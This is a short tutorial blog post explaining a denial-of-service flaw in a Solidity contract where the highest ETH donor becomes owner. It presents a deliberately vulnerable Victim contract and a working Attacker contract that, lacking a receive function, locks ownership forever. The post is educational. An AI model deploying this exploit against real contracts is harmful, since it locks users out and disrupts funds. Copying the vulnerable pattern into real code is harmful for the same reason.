DEV Community

Rushank Savant
Rushank Savant

Posted on

Denial of Service

Let's say there is a contract which allows maximum ETH donner to become owner of that contract.
In this blog, we will see how it is possible to highjack such contract taking advantage of a contract vulnerability.

Consider following contract:

  • anyone can call becomeOwner() function and become owner by sending amount greater than balance.
  • on calling becomeOwner(), if condition is met, balance amount is transfered to current owner and owner and balance state variables are updated.
contract Victim {
    address public owner;
    uint public balance;

    function becomeOwner() external payable {
        require(msg.value > balance);
        (bool sent, ) = owner.call{value: balance}("");
        require(sent, "Send failed");

        balance = msg.value;
        owner = msg.sender;
    }
}
Enter fullscreen mode Exit fullscreen mode

Now let's say Victim contract is unable to send current balance to current owner, i.e require(sent, "Send failed"); is not satisfied.
In that case, current owner can never be removed and new owner can never be added. That's exactly how attackers can highjack the contract:

contract Attacker { // has no fallback function, hence can't recieve eth
    Victim victimCOntract;

    constructor(address _victim) {
        victimCOntract = Victim(_victim);
    }

    function attack() external payable {
        victimCOntract.becomeOwner{value: msg.value}();
    }
}
Enter fullscreen mode Exit fullscreen mode

The Attacker function has no receive/fallback function, and hence cannot receive ETH, when someone tries to send ETH transaction fails. And hence becomeOwner() function is never executed by anyone.

You might have got a question, if Attacker can't receive ETH how can it send ETH to Victim?
Well answer to this is simple, if you see the attack() function you might notice the ETH is never supplied to Attack contract. It's transacted from function caller to Victim directly.

Top comments (0)